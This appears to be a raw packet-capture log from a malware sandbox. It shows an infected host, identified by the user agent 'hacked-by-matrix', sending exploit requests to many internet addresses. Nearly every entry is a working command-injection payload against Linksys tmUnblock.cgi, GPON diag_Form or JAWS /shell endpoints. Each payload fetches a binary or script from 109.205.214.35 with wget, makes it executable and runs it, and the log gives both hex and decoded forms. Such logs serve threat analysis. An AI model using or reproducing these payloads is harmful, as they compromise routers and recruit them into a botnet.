Mar 21, 2024 05:22:51.779009104 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.14	46692	172.65.126.54	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.826706886 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.14	52394	94.50.142.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438108921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.14	41108	37.23.123.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438141108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.14	55132	212.22.169.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438221931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.14	51352	42.238.209.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438265085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.14	53228	37.124.225.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438294888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.14	43134	210.186.2.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438339949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.14	56040	118.253.48.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438553095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.14	54574	178.165.169.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.438553095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.14	51786	154.56.47.126	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.523293018 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:54.020734072 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:54.173410892 CET	1020	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 769 date: Thu, 21 Mar 2024 04:22:54 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.14	48322	187.17.32.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.758639097 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:56.829818010 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:57.030479908 CET	456	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:59 GMT Server: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.14	56124	2.191.109.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457303047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.14	53694	5.60.126.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457349062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.14	34070	210.154.176.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457370996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.14	56364	94.45.241.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457392931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.14	34684	212.240.132.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457415104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.14	36974	37.212.50.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457458019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.14	60998	79.214.51.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457499981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.14	40790	212.181.183.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457506895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.14	42710	109.70.249.247	443

Timestamp	Bytes transferred	Direction	Data
